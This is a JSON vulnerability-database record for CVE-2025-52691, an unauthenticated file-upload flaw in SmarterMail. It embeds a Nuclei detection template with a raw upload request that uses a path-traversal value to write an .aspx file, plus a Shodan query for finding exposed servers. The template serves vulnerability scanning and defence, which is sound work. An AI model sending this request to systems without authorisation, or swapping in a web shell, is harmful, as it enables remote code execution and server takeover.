{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-52691/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-52691/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-52691/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-52691/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-52691/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-52691"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-52691"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-52691.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2025-52691\n\ninfo:\n  name: SmarterMail - Unrestricted File Upload\n  author: DhiyaneshDK,watchTowr\n  severity: critical\n  description: |\n    Mail server contains an unrestricted file upload vulnerability allowing unauthenticated attackers to upload arbitrary files to any location, potentially enabling remote code execution.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n    Update to the latest version of the mail server.\n  reference:\n    - https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691\n    - https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-124/\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"SmarterMail\"\n  tags: cve,cve2025,smartermail,file-upload,intrusive,rce,kev,vkev,vuln\n\nvariables:\n  rand_string: '{{to_lower(rand_text_alpha(6))}}'\n  file_name: '{{to_lower(rand_text_alpha(6))}}'\n\nhttp:\n  - raw:\n      - |\n        POST /api/upload HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"context\"\n\n        attachment\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"resumableIdentifier\"\n\n        fakeID\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"resumableFilename\"\n\n        {{file_name}}.aspx\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"contextData\"\n\n        {\"guid\":\"dag/../../{{rand_string}}\"}\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"whatever\"; filename=\"{{file_name}}.jpg\"\n\n        Detection Artifact Generator\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"fileName\":'\n          - '{\"key\":'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100f8c18924636dbddece8838f93d904c94bf619feb418d564c8a78d08be122cb5e022100f788f438b708e6d76c99cdc95041a19d28c93c6c90f83e3e6342e1c1f3cd089f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-52691"
}